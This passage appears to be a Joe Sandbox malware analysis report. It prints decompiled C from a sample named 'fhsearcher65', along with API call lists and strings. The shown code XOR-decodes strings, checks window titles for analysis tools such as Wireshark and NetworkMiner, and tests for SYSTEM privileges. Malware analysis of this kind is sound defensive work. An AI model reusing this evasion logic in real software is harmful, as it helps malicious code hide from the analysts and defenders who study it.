											_t309 = E00405350(_t452); // executed
											_t583 =  &(_t582[6]);
											__eflags = _t309;
											if(_t309 != 0) {
												goto L145;
											} else {
												_t310 = GetForegroundWindow(); // executed
												__eflags = _t310;
												if(_t310 == 0) {
													L144:
													_t298 = 0;
													goto L146;
												} else {
													GetWindowTextA(_t310,  &_v284, 0x100);
													_t312 =  *0x450ffc;
													_v312 = 0x4d415c7e;
													_v308 = 0xe5d5d4b;
													_v304 = 0x454d4f66;
													_v300 = 0x5c4b;
													__eflags =  *0x450ffc -  *((intOrPtr*)(_t564 + 4));
													if( *0x450ffc >  *((intOrPtr*)(_t564 + 4))) {
														E0040F2F9(_t312, 0x450ffc);
														_t583 =  &(_t583[1]);
														__eflags =  *0x450ffc - 0xffffffff;
														if(__eflags == 0) {
															_t170 =  &_v304; // 0x454d4f66
															asm("movq xmm0, [ebp-0x12c]");
															 *0x450fa8 =  *_t170;
															_t171 =  &_v300; // 0x5c4b
															asm("movq [0x450fa0], xmm0");
															 *0x450fac =  *_t171;
															 *0x450fae = 0x2e;
															E0040F60B( &_v284, __eflags, E0042D380);
															E0040F2AF(0x450ffc);
															_t583 =  &(_t583[2]);
														}
													}
													__eflags =  *0x450fae;
													if( *0x450fae != 0) {
														_t360 = 0;
														__eflags = 0;
														do {
															 *(_t360 + 0x450fa0) =  *(_t360 + 0x450fa0) ^ 0x0000002e;
															_t360 = _t360 + 1;
															__eflags = _t360 - 0xf;
														} while (_t360 < 0xf);
													}
													_t503 = 0x450fa0;
													_v364 = 0;
													_v348 = 0;
													_v344 = 0xf;
													_v364 = 0;
													_t178 = _t503 + 1; // 0x450fa1
													_t542 = _t178;
													do {
														_t313 =  *_t503;
														_t503 = _t503 + 1;
														__eflags = _t313;
													} while (_t313 != 0);
													E004026B0(0x2e,  &_v364, 0x450fa0, _t503 - _t542);
													_v16 = 0;
													__eflags = _v344 - 0x10;
													_t456 = 1;
													_v292 = 1;
													_t316 =  >=  ? _v364 :  &_v364;
													_t318 = E00410590( &_v284,  >=  ? _v364 :  &_v364);
													_t584 =  &(_t583[2]);
													__eflags = _t318;
													if(_t318 != 0) {
														L131:
														_v313 = 1;
													} else {
														_t347 =  *0x450f9c; // 0x80000017
														_v308 = 0x4b5c4779;
														_v304 = 0x5c4f465d;
														_v300 = 0x2e45;
														__eflags = _t347 -  *((intOrPtr*)(_t564 + 4));
														if(_t347 >  *((intOrPtr*)(_t564 + 4))) {
															E0040F2F9(_t347, 0x450f9c);
															_t584 = _t584 + 4;
															__eflags =  *0x450f9c - 0xffffffff;
															if(__eflags == 0) {
																asm("movq xmm0, [ebp-0x128]");
																_t190 =  &_v300; // 0x2e45
																asm("movq [0x451018], xmm0");
																 *0x451020 =  *_t190;
																E0040F60B( &_v364, __eflags, E0042D360);
																E0040F2AF(0x450f9c);
																_t584 = _t584 + 8;
															}
														}
														_t348 =  *0x451021;
														__eflags = _t348;
														if(_t348 != 0) {
															 *0x451018 =  *0x451018 ^ 0x0000002e;
															 *0x451019 =  *0x451019 ^ 0x0000002e;
															 *0x45101a =  *0x45101a ^ 0x0000002e;
															 *0x45101b =  *0x45101b ^ 0x0000002e;
															 *0x45101c =  *0x45101c ^ 0x0000002e;
															 *0x45101d =  *0x45101d ^ 0x0000002e;
															 *0x45101e =  *0x45101e ^ 0x0000002e;
															 *0x45101f =  *0x45101f ^ 0x0000002e;
															 *0x451020 =  *0x451020 ^ 0x0000002e;
															_t355 = _t348 ^ 0x0000002e;
															__eflags = _t355;
															 *0x451021 = _t355;
														}
														_t512 = 0x451018;
														_v340 = 0;
														_v324 = 0;
														_v320 = 0xf;
														_t194 =  &(_t512[1]); // 0x451019
														_t542 = _t194;
														do {
															_t349 =  *_t512;
															_t512 =  &(_t512[1]);
															__eflags = _t349;
														} while (_t349 != 0);
														E004026B0(_t456,  &_v340, 0x451018, _t512 - _t542);
														__eflags = _v320 - 0x10;
														_t456 = 3;
														_t352 =  >=  ? _v340 :  &_v340;
														_t354 = E00410590( &_v284,  >=  ? _v340 :  &_v340);
														_t584 = _t584 + 8;
														_v313 = 0;
														__eflags = _t354;
														if(_t354 != 0) {
															goto L131;
														}
													}
													__eflags = _t456 & 0x00000002;
													if((_t456 & 0x00000002) == 0) {
														L138:
														__eflags = _t456 & 0x00000001;
														if((_t456 & 0x00000001) == 0) {
															L143:
															__eflags = _v313;
															if(_v313 != 0) {
																goto L145;
															} else {
																goto L144;
															}
															L146:
															 *[fs:0x0] = _v24;
															_pop(_t553);
															_pop(_t565);
															_pop(_t454);
															__eflags = _v28 ^ _t571;
															return E0040EF6F(_t298, _t454, _v28 ^ _t571, _t542, _t553, _t565);
														} else {
															_t542 = _v344;
															__eflags = _t542 - 0x10;
															if(_t542 < 0x10) {
																goto L143;
															} else {
																_t506 = _v364;
																_t542 =  &(_t542[0]);
																_t319 = _t506;
																__eflags = _t542 - 0x1000;
																if(_t542 < 0x1000) {
																	L142:
																	_push(_t542);
																	E0040F1B0(_t506);
																	goto L143;
																} else {
																	_t506 =  *(_t506 - 4);
																	_t542 =  &(_t542[8]);
																	__eflags = _t319 - _t506 + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		goto L147;
																	} else {
																		goto L142;
																	}
																}
															}
														}
													} else {
														_t542 = _v320;
														_t456 = _t456 & 0xfffffffd;
														__eflags = _t542 - 0x10;
														if(_t542 < 0x10) {
															L137:
															_v324 = 0;
															_v320 = 0xf;
															_v340 = 0;
															goto L138;
														} else {
															_t511 = _v340;
															_t542 =  &(_t542[0]);
															_t343 = _t511;
															__eflags = _t542 - 0x1000;
															if(_t542 < 0x1000) {
																L136:
																_push(_t542);
																E0040F1B0(_t511);
																_t584 = _t584 + 8;
																goto L137;
															} else {
																_t511 =  *(_t511 - 4);
																_t542 =  &(_t542[8]);
																__eflags = _t343 - _t511 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	L147:
																	E004138D7(_t456, _t542, __eflags);
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	_push(_t571);
																	_t572 = _t584;
																	_t324 =  *0x43d054; // 0xd71f2cec
																	_v792 = _t324 ^ _t572;
																	_v876 = 0;
																	_v872 = 0x500;
																	_t328 = OpenProcessToken(GetCurrentProcess(), 8,  &_v884);
																	__eflags = _t328;
																	if(_t328 == 0) {
																		L151:
																		__eflags = _v20 ^ _t572;
																		return E0040EF6F(0, _t456, _v20 ^ _t572, _t542, _t555, _t564);
																	} else {
																		_t333 = GetTokenInformation(_v112, 1,  &_v96, 0x4c,  &_v108); // executed
																		_push(_v112);
																		__eflags = _t333;
																		if(_t333 != 0) {
																			CloseHandle();
																			_t337 = AllocateAndInitializeSid( &_v104, 1, 0x12, 0, 0, 0, 0, 0, 0, 0,  &_v116);
																			__eflags = _t337;
																			if(_t337 == 0) {
																				goto L151;
																			} else {
																				_t338 = EqualSid(_v96, _v116);
																				FreeSid(_v116);
																				__eflags = _v20 ^ _t572;
																				_t567 = _t564;
																				return E0040EF6F(_t338, _t456, _v20 ^ _t572, _t542, _t555, _t567);
																			}
																		} else {
																			CloseHandle();
																			goto L151;
																		}
																	}
																} else {
																	goto L136;
																}
															}
														}
													}
												}
											}
										}
									}
								} else {
									_t382 = _t550 - _t541;
									__eflags = _t382 - _t452;
									_t457 =  <  ? _t382 : _t452;
									__eflags =  *((intOrPtr*)(_t562 + 0x14)) - 0x10;
									if( *((intOrPtr*)(_t562 + 0x14)) >= 0x10) {
										_t562 =  *_t562;
									}
									_t556 = _t550 - _t457;
									 *_v12 = _t556;
									__eflags = _t556 - _t541 + 1;
									_t286 = E00410870(_t562 + _t541, _t562 + _t541 + _t457, _t556 - _t541 + 1);
									goto L87;
								}
							}
						} else {
							goto L12;
						}
					}
				}
				L6:
				_t240 =  *_t459;
				_t459 =  &(_t459[1]);
				if(_t240 != 0) {
					goto L6;
				} else {
					E004026B0(_t447,  &_v348, 0x450f44, _t459 - _t525);
					_t19 =  &_v296; // 0x47434a4f
					_v8 = 1;
					_t548 = GetUserNameA;
					_v296 = 0x101;
					GetUserNameA( &_v288, _t19); // executed
					_t462 =  &_v288;
					_v372 = 0;
					_v356 = 0;
					_t526 = _t462 + 1;
					_v352 = 0xf;
				}
				goto L8;
			}

0x004056a0
0x004056a0
0x004056a3
0x004056a5
0x004056b0
0x004056b1
0x004056b7
0x004056bc
0x004056be
0x004056c1
0x004056c3
0x004056c4
0x004056c8
0x004056ce
0x004056d8
0x004056e2
0x004056ec
0x004056f3
0x00405700
0x0040570a
0x00405713
0x00405715
0x00405720
0x00405727
0x0040572c
0x0040572f
0x00405736
0x00405738
0x0040573e
0x0040574f
0x00405755
0x0040575f
0x00405764
0x00405764
0x00405736
0x00405767
0x0040576e
0x00405770
0x00405777
0x0040577e
0x00405785
0x0040578c
0x00405795
0x00405795
0x0040579a
0x0040579f
0x004057a9
0x004057b3
0x004057bd
0x004057c4
0x004057c4
0x004057c4
0x00405830
0x00405830
0x00405830
0x00405832
0x00405833
0x00405847
0x00405852
0x00405858
0x0040585d
0x00405863
0x00405868
0x00405899
0x00405899
0x0040589d
0x004058a6
0x004058d7
0x004058d9
0x00405e74
0x00405e79
0x00405e81
0x00405e82
0x00405e83
0x00405e91
0x004058df
0x004058df
0x004058e6
0x004058f6
0x004058fd
0x00405902
0x00405905
0x0040590c
0x0040590e
0x00405919
0x0040591e
0x00405924
0x0040592e
0x00405933
0x00405933
0x0040590c
0x00405936
0x0040593d
0x0040593f
0x00405945
0x0040594b
0x00405951
0x00405959
0x00405959
0x0040595e
0x00405963
0x0040596d
0x00405977
0x00405981
0x00405988
0x00405988
0x00405990
0x00405990
0x00405992
0x00405993
0x004059a5
0x004059aa
0x004059b0
0x004059bb
0x004059c6
0x004059c8
0x004059ce
0x004059d8
0x004059e2
0x004059e5
0x004059f0
0x004059f0
0x004059f2
0x004059f3
0x00405a07
0x00405a12
0x00405a18
0x00405a1d
0x00405a23
0x00405a28
0x00405a59
0x00405a59
0x00405a5d
0x00405a66
0x00405a97
0x00405a99
0x00000000
0x00405a9f
0x00405a9f
0x00405aa4
0x00405aae
0x00405ab8
0x00405ac7
0x00405ace
0x00405ad3
0x00405ad6
0x00405add
0x00405adf
0x00405af3
0x00405afb
0x00405b01
0x00405b0b
0x00405b10
0x00405b10
0x00405add
0x00405b13
0x00405b1a
0x00405b1c
0x00405b23
0x00405b2a
0x00405b31
0x00405b38
0x00405b3f
0x00405b46
0x00405b4d
0x00405b54
0x00405b5d
0x00405b5d
0x00405b62
0x00405b67
0x00405b71
0x00405b7b
0x00405b85
0x00405b8c
0x00405b8c
0x00405b90
0x00405b90
0x00405b92
0x00405b93
0x00405ba5
0x00405baa
0x00405bb0
0x00405bbb
0x00405bc6
0x00405bc8
0x00405bce
0x00405bd8
0x00405be2
0x00405be5
0x00405bf0
0x00405bf0
0x00405bf2
0x00405bf3
0x00405c07
0x00405c18
0x00405c1d
0x00405c23
0x00405c28
0x00405c59
0x00405c59
0x00405c5d
0x00405c66
0x00405c97
0x00405c99
0x00000000
0x00405c9f
0x00405c9f
0x00405cb2
0x00405cb8
0x00405cbe
0x00405cc1
0x00405cc1
0x00405cc3
0x00405cc4
0x00405cd8
0x00405ce9
0x00405cee
0x00405cf3
0x00405cf9
0x00405d00
0x00405d0c
0x00405d11
0x00405d16
0x00000000
0x00000000
0x00405d28
0x00405d2d
0x00405d32
0x00405d44
0x00405d49
0x00405d4e
0x00405d60
0x00405d65
0x00405d6a
0x00405d70
0x00405d76
0x00405d80
0x00405d80
0x00405d82
0x00405d83
0x00405d87
0x00405d89
0x00405d8d
0x00405d90
0x00405d9e
0x00405da5
0x00405da8
0x00405da9
0x00405d90
0x00405db9
0x00405dbe
0x00405dc3
0x00405dd1
0x00405dd6
0x00405ddb
0x00405de2
0x00405de4
0x00405df7
0x00405dfd
0x00405e03
0x00405e06
0x00405e06
0x00405e08
0x00405e09
0x00405e1d
0x00405e2e
0x00405e33
0x00405e38
0x00000000
0x00000000
0x00405e38
0x00405ddb
0x00405dc3
0x00405d6a
0x00405d4e
0x00000000
0x00405d32
0x00405d00
0x00405e3e
0x00405e3e
0x00405e47
0x00000000
0x00405e49
0x00405e49
0x00405e4f
0x00405e50
0x00405e58
0x00405e6a
0x00405e6a
0x00405e6c
0x00000000
0x00405e5a
0x00405e5a
0x00405e5d
0x00405e68
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e68
0x00405e58
0x00405e47
0x00405c68
0x00405c68
0x00405c6e
0x00405c6f
0x00405c77
0x00405c8d
0x00405c8d
0x00405c8f
0x00405c94
0x00000000
0x00405c79
0x00405c79
0x00405c7c
0x00405c87
0x00000000
0x00000000
0x00000000
0x00000000
0x00405c87
0x00405c77
0x00405c2a
0x00405c2a
0x00405c30
0x00405c31
0x00405c39
0x00405c4f
0x00405c4f
0x00405c51
0x00405c56
0x00000000
0x00405c3b
0x00405c3b
0x00405c3e
0x00405c49
0x00000000
0x00000000
0x00000000
0x00000000
0x00405c49
0x00405c39
0x00405c28
0x00405a68
0x00405a68
0x00405a6e
0x00405a6f
0x00405a77
0x00405a8d
0x00405a8d
0x00405a8f
0x00405a94
0x00000000
0x00405a79
0x00405a79
0x00405a7c
0x00405a87
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a87
0x00405a77
0x00405a2a
0x00405a2a
0x00405a30
0x00405a31
0x00405a39
0x00405a4f
0x00405a4f
0x00405a51
0x00405a56
0x00000000
0x00405a3b
0x00405a3b
0x00405a3e
0x00405a49
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a49
0x00405a39
0x00405a28
0x004058a8
0x004058a8
0x004058ae
0x004058af
0x004058b7
0x004058cd
0x004058cd
0x004058cf
0x004058d4
0x00000000
0x004058b9
0x004058b9
0x004058bc
0x004058c7
0x00000000
0x00000000
0x00000000
0x00000000
0x004058c7
0x004058b7
0x0040586a
0x0040586a
0x00405870
0x00405871
0x00405879
0x0040588f
0x0040588f
0x00405891
0x00405896
0x00000000
0x0040587b
0x0040587b
0x0040587e
0x00405889
0x00405e94
0x00405e94
0x00405e99
0x00405e9a
0x00405e9b
0x00405e9c
0x00405e9d
0x00405e9e
0x00405e9f
0x00405ea0
0x00405ea1
0x00405ea3
0x00405ea4
0x00405ea8
0x00405eaa
0x00405eab
0x00405eac
0x00405ead
0x00405eaf
0x00405eb1
0x00405eb1
0x00405eb3
0x00405eb7
0x00405eb9
0x00405eb9
0x00405ebb
0x00405ebe
0x00405ec1
0x00405ec5
0x00405ecb
0x00405ed0
0x00405ed2
0x00405ed5
0x00405ed8
0x00405f0a
0x00405f10
0x00405eda
0x00405eda
0x00405edc
0x00405f11
0x00405f16
0x00405f17
0x00405f18
0x00405f19
0x00405f1a
0x00405f1b
0x00405f1c
0x00405f1d
0x00405f1e
0x00405f1f
0x00405f20
0x00405f21
0x00405f22
0x00405f23
0x00405f24
0x00405f25
0x00405f26
0x00405f27
0x00405f28
0x00405f29
0x00405f2a
0x00405f2b
0x00405f2c
0x00405f2d
0x00405f2e
0x00405f2f
0x00405f30
0x00405f31
0x00405f32
0x00405f33
0x00405f34
0x00405f35
0x00405f36
0x00405f37
0x00405f38
0x00405f39
0x00405f3a
0x00405f3b
0x00405f3c
0x00405f3d
0x00405f3e
0x00405f3f
0x00405f40
0x00405f41
0x00405f43
0x00405f45
0x00405f50
0x00405f51
0x00405f57
0x00405f5c
0x00405f5e
0x00405f61
0x00405f62
0x00405f63
0x00405f64
0x00405f68
0x00405f6e
0x00405f7e
0x00405f88
0x00405f92
0x00405f94
0x00405f99
0x00405f9f
0x00405fa6
0x00405fab
0x00405fae
0x00405fb5
0x00405fb7
0x00405fbd
0x00405fc8
0x00405fcd
0x00405fd3
0x00405fe0
0x00405fe5
0x00405fe5
0x00405fb5
0x00405fe8
0x00405fed
0x00405fef
0x00405ff1
0x00405ff8
0x00405fff
0x00406006
0x0040600d
0x00406014
0x0040601b
0x00406022
0x00406022
0x00406024
0x00406024
0x00406029
0x0040602c
0x00406031
0x00406033
0x00406033
0x00406036
0x0040603c
0x00406043
0x0040604a
0x00406050
0x00406050
0x00406052
0x00406053
0x00406053
0x00406061
0x00406066
0x0040606b
0x0040606e
0x00406070
0x004065ae
0x004065ae
0x00000000
0x00406076
0x00406076
0x0040607b
0x00406085
0x0040608f
0x00406095
0x0040609c
0x004060a1
0x004060a4
0x004060ab
0x004060ad
0x004060b3
0x004060be
0x004060c3
0x004060c9
0x004060d6
0x004060db
0x004060db
0x004060ab
0x004060de
0x004060e3
0x004060e5
0x004060e7
0x004060ee
0x004060f5
0x004060fc
0x00406103
0x0040610a
0x00406111
0x00406118
0x00406118
0x0040611a
0x0040611a
0x0040611f
0x00406122
0x00406127
0x00406129
0x00406129
0x0040612c
0x00406132
0x00406139
0x00406140
0x00406140
0x00406142
0x00406143
0x00406143
0x0040614f
0x00406151
0x00406156
0x0040615b
0x0040615e
0x00406160
0x00000000
0x00406166
0x00406166
0x0040616b
0x00406175
0x0040617f
0x00406188
0x0040618e
0x00406195
0x0040619a
0x0040619d
0x004061a4
0x004061a6
0x004061ba
0x004061c2
0x004061c8
0x004061d5
0x004061da
0x004061da
0x004061a4
0x004061dd
0x004061e2
0x004061e4
0x004061e6
0x004061ed
0x004061f4
0x004061fb
0x00406202
0x00406209
0x00406210
0x00406217
0x0040621e
0x00406225
0x00406225
0x00406227
0x00406227
0x0040622c
0x0040622f
0x00406234
0x00406236
0x00406236
0x00406239
0x0040623f
0x00406246
0x00406250
0x00406250
0x00406252
0x00406253
0x00406253
0x00406261
0x00406266
0x0040626b
0x0040626e
0x00406270
0x00000000
0x00406276
0x00406276
0x0040627c
0x0040627e
0x004065aa
0x004065aa
0x00000000
0x00406284
0x00406291
0x00406297
0x0040629e
0x004062a8
0x004062b2
0x004062bc
0x004062c5
0x004062cb
0x004062d2
0x004062d7
0x004062da
0x004062e1
0x004062e3
0x004062e9
0x004062f1
0x004062f6
0x00406302
0x0040630a
0x00406310
0x00406316
0x00406323
0x00406328
0x00406328
0x004062e1
0x0040632b
0x00406332
0x00406334
0x00406334
0x00406336
0x00406336
0x0040633c
0x0040633d
0x0040633d
0x00406336
0x00406342
0x00406347
0x00406351
0x0040635b
0x00406365
0x0040636c
0x0040636c
0x00406370
0x00406370
0x00406372
0x00406373
0x00406373
0x00406385
0x0040638a
0x00406397
0x0040639e
0x004063a3
0x004063a9
0x004063b8
0x004063bd
0x004063c0
0x004063c2
0x00406502
0x00406502
0x004063c8
0x004063c8
0x004063cd
0x004063d7
0x004063e1
0x004063ea
0x004063f0
0x004063f7
0x004063fc
0x004063ff
0x00406406
0x00406408
0x00406410
0x0040641c
0x00406424
0x0040642a
0x00406437
0x0040643c
0x0040643c
0x00406406
0x0040643f
0x00406444
0x00406446
0x00406448
0x0040644f
0x00406456
0x0040645d
0x00406464
0x0040646b
0x00406472
0x00406479
0x00406480
0x00406487
0x00406487
0x00406489
0x00406489
0x0040648e
0x00406493
0x0040649d
0x004064a7
0x004064b1
0x004064b1
0x004064b4
0x004064b4
0x004064b6
0x004064b7
0x004064b7
0x004064c9
0x004064ce
0x004064db
0x004064e0
0x004064ef
0x004064f4
0x004064f7
0x004064fe
0x00406500
0x00000000
0x00000000
0x00406500
0x00406509
0x0040650c
0x00406566
0x00406566
0x00406569
0x004065a1
0x004065a1
0x004065a8
0x00000000
0x00000000
0x00000000
0x00000000
0x004065b0
0x004065b3
0x004065bb
0x004065bc
0x004065bd
0x004065c1
0x004065cb
0x0040656b
0x0040656b
0x00406571
0x00406574
0x00000000
0x00406576
0x00406576
0x0040657c
0x0040657d
0x0040657f
0x00406585
0x00406597
0x00406597
0x00406599
0x00000000
0x00406587
0x00406587
0x0040658a
0x00406592
0x00406595
0x00000000
0x00000000
0x00000000
0x00000000
0x00406595
0x00406585
0x00406574
0x0040650e
0x0040650e
0x00406514
0x00406517
0x0040651a
0x0040654b
0x0040654b
0x00406555
0x0040655f
0x00000000
0x0040651c
0x0040651c
0x00406522
0x00406523
0x00406525
0x0040652b
0x00406541
0x00406541
0x00406543
0x00406548
0x00000000
0x0040652d
0x0040652d
0x00406530
0x00406538
0x0040653b
0x004065cc
0x004065cc
0x004065d1
0x004065d2
0x004065d3
0x004065d4
0x004065d5
0x004065d6
0x004065d7
0x004065d8
0x004065d9
0x004065da
0x004065db
0x004065dc
0x004065dd
0x004065de
0x004065df
0x004065e0
0x004065e1
0x004065e6
0x004065ed
0x004065f3
0x004065fd
0x0040660a
0x00406610
0x00406612
0x00406636
0x0040663b
0x00406645
0x00406614
0x00406623
0x00406629
0x0040662c
0x0040662e
0x00406646
0x00406666
0x0040666c
0x0040666e
0x00000000
0x00406670
0x00406677
0x00406682
0x0040668d
0x0040668f
0x00406698
0x00406698
0x00406630
0x00406630
0x00000000
0x00406630
0x0040662e
0x00000000
0x00000000
0x00000000
0x0040653b
0x0040652b
0x0040651a
0x0040650c
0x0040627e
0x00406270
0x00406160
0x00405ede
0x00405ee0
0x00405ee2
0x00405ee4
0x00405ee7
0x00405eeb
0x00405eed
0x00405eed
0x00405ef5
0x00405ef7
0x00405efb
0x00405f02
0x00000000
0x00405f07
0x00405edc
0x00000000
0x00000000
0x00000000
0x00405889
0x00405879
0x004057c7
0x004057c7
0x004057c9
0x004057cc
0x00000000
0x004057ce
0x004057dc
0x004057e1
0x004057e7
0x004057eb
0x004057f8
0x00405803
0x00405805
0x0040580b
0x00405815
0x0040581f
0x00405822
0x00405822
0x00000000

APIs

__Init_thread_footer.LIBCMT ref: 0040575F

Part of subcall function 0040F2AF: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2B9
Part of subcall function 0040F2AF: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2EC
Part of subcall function 0040F2AF: RtlWakeAllConditionVariable.NTDLL ref: 0040F363

__Init_thread_footer.LIBCMT ref: 0040592E
GetUserNameA.ADVAPI32(?,}FOF@.), ref: 004059C6
GetUserNameA.ADVAPI32(?,OJCG@.), ref: 00405803

Part of subcall function 0040F2F9: EnterCriticalSection.KERNEL32(004504FC,00450DAD,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F304
Part of subcall function 0040F2F9: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F341

__Init_thread_footer.LIBCMT ref: 00405B0B
GetUserNameA.ADVAPI32(?,lK@MF.), ref: 00405BC6
GetForegroundWindow.USER32(?,?), ref: 00405C9F
GetWindowTextA.USER32 ref: 00405CB2
Sleep.KERNEL32(00000258), ref: 00405DE2
GetForegroundWindow.USER32 ref: 00405DE4
GetWindowTextA.USER32 ref: 00405DF7

Strings

dbg, xrefs: 00405DB3
ZK]Z, xrefs: 00405AA4
NetworkMiner, xrefs: 00405D5A
Far , xrefs: 00405CE3, 00405E28
HTTP Analyzer, xrefs: 00405D22
roxifier, xrefs: 00405D06
Wireshark, xrefs: 00405D3E
OJCG@., xrefs: 00405738
debug, xrefs: 00405DCB

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CriticalSectionWindow$Init_thread_footerNameUser$EnterForegroundLeaveText$ConditionSleepVariableWake
String ID: Far $HTTP Analyzer$NetworkMiner$OJCG@.$Wireshark$ZK]Z$dbg$debug$roxifier
API String ID: 3399126515-619935782
Opcode ID: 37456d3f74304072a6ef2eb3a53ce8e580f3ead9f7e8bc1f5dd11231bc7fe814
Instruction ID: bbb2402320c62b76abd21928e5e2b8bc45d895f385508c13d026271c1bfa7276
Opcode Fuzzy Hash: 37456d3f74304072a6ef2eb3a53ce8e580f3ead9f7e8bc1f5dd11231bc7fe814
Instruction Fuzzy Hash: 931249319002888ADB29DB24DD49BDB7B74EB46304F1441FAD848B72D3E7799E89CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00406800 Relevance: 24.4, APIs: 8, Strings: 5, Instructions: 1602
sleepCOMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E00406800(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char* _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v29;
				char _v32;
				char _v33;
				signed int _v36;
				long _v40;
				signed int _v44;
				char _v60;
				long _v64;
				struct _SECURITY_ATTRIBUTES* _v68;
				char _v84;
				long _v88;
				struct _SECURITY_ATTRIBUTES* _v92;
				char _v108;
				char _v116;
				intOrPtr _v128;
				struct _SECURITY_ATTRIBUTES* _v136;
				char _v144;
				signed int _v152;
				char _v312;
				signed char _v316;
				struct _SECURITY_ATTRIBUTES* _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				struct _SECURITY_ATTRIBUTES* _v336;
				long _v340;
				struct _SECURITY_ATTRIBUTES* _v344;
				char _v360;
				long _v364;
				struct _SECURITY_ATTRIBUTES* _v368;
				char _v384;
				long _v388;
				char _v408;
				char _v412;
				char _v413;
				struct _SECURITY_ATTRIBUTES* _v420;
				struct _SECURITY_ATTRIBUTES* _v424;
				struct _SECURITY_ATTRIBUTES* _v440;
				struct _SECURITY_ATTRIBUTES* _v444;
				struct _SECURITY_ATTRIBUTES* _v448;
				struct _SECURITY_ATTRIBUTES* _v464;
				long _v468;
				struct _SECURITY_ATTRIBUTES* _v472;
				char _v488;
				long _v496;
				struct _SECURITY_ATTRIBUTES* _v500;
				struct _SECURITY_ATTRIBUTES* _v516;
				long _v520;
				struct _SECURITY_ATTRIBUTES* _v616;
				char _v624;
				signed int _v628;
				char _v772;
				char _v1100;
				signed char _v1104;
				intOrPtr _v1108;
				signed int _v1112;
				intOrPtr _v1116;
				char _v1140;
				char _v1164;
				char _v1188;
				char _v1212;
				char _v1236;
				char _v1260;
				char _v1284;
				signed int _v1892;
				short _v1896;
				intOrPtr _v1900;
				intOrPtr _v1904;
				intOrPtr _v1908;
				void* __ebp;
				signed int _t847;
				int _t852;
				void* _t853;
				char* _t854;
				void* _t860;
				long _t862;
				signed int _t868;
				signed int _t869;
				signed int _t871;
				signed int _t873;
				intOrPtr _t877;
				signed char _t878;
				signed int _t879;
				char* _t883;
				void* _t885;
				signed int _t891;
				intOrPtr _t892;
				signed int _t893;
				char* _t897;
				void* _t899;
				signed int _t905;
				intOrPtr _t906;
				signed char _t907;
				signed int _t908;
				char* _t912;
				void* _t914;
				signed int _t920;
				void* _t927;
				char* _t928;
				intOrPtr _t935;
				signed int _t942;
				signed int _t943;
				signed int _t945;
				void* _t954;
				void* _t955;
				void* _t956;
				void* _t957;
				void* _t958;
				signed int _t968;
				signed int _t971;
				void* _t977;
				void* _t978;
				signed int _t980;
				void* _t985;
				void* _t989;
				void* _t990;
				signed int _t992;
				signed int _t996;
				intOrPtr _t999;
				void* _t1008;
				void* _t1009;
				signed char _t1012;
				char* _t1016;
				intOrPtr _t1017;
				signed char _t1021;
				signed int _t1024;
				signed int _t1026;
				char _t1030;
				struct _SECURITY_ATTRIBUTES* _t1031;
				struct _SECURITY_ATTRIBUTES* _t1035;
				intOrPtr _t1039;
				signed int _t1046;
				void* _t1051;
				char* _t1052;
				intOrPtr _t1056;
				intOrPtr _t1060;
				intOrPtr _t1064;
				struct _SECURITY_ATTRIBUTES* _t1068;
				intOrPtr _t1072;
				char _t1077;
				struct _SECURITY_ATTRIBUTES* _t1078;
				struct _SECURITY_ATTRIBUTES* _t1082;
				intOrPtr _t1086;
				signed int _t1093;
				void* _t1100;
				char* _t1101;
				intOrPtr _t1105;
				intOrPtr _t1109;
				struct _SECURITY_ATTRIBUTES* _t1113;
				intOrPtr _t1117;
				char _t1122;
				struct _SECURITY_ATTRIBUTES* _t1123;
				struct _SECURITY_ATTRIBUTES* _t1127;
				intOrPtr _t1131;
				signed int _t1143;
				signed int _t1145;
				signed int _t1148;
				void* _t1151;
				void* _t1152;
				signed int _t1158;
				intOrPtr _t1160;
				signed char _t1161;
				signed int _t1162;
				char* _t1166;
				void* _t1168;
				signed int _t1174;
				intOrPtr _t1175;
				signed int _t1176;
				char* _t1180;
				void* _t1182;
				signed int _t1188;
				intOrPtr _t1189;
				signed char _t1190;
				signed int _t1191;
				char* _t1195;
				void* _t1197;
				signed int _t1203;
				intOrPtr _t1204;
				intOrPtr _t1208;
				void* _t1212;
				char* _t1213;
				intOrPtr _t1217;
				intOrPtr _t1221;
				struct _SECURITY_ATTRIBUTES* _t1225;
				intOrPtr _t1229;
				char _t1234;
				struct _SECURITY_ATTRIBUTES* _t1235;
				struct _SECURITY_ATTRIBUTES* _t1239;
				intOrPtr _t1243;
				signed int _t1250;
				void* _t1255;
				char* _t1256;
				intOrPtr _t1260;
				intOrPtr _t1263;
				struct _SECURITY_ATTRIBUTES* _t1267;
				intOrPtr _t1271;
				char _t1276;
				struct _SECURITY_ATTRIBUTES* _t1277;
				struct _SECURITY_ATTRIBUTES* _t1281;
				intOrPtr _t1285;
				signed int _t1292;
				void* _t1299;
				char* _t1300;
				intOrPtr _t1304;
				intOrPtr _t1307;
				struct _SECURITY_ATTRIBUTES* _t1311;
				struct _SECURITY_ATTRIBUTES* _t1315;
				char _t1320;
				struct _SECURITY_ATTRIBUTES* _t1321;
				struct _SECURITY_ATTRIBUTES* _t1325;
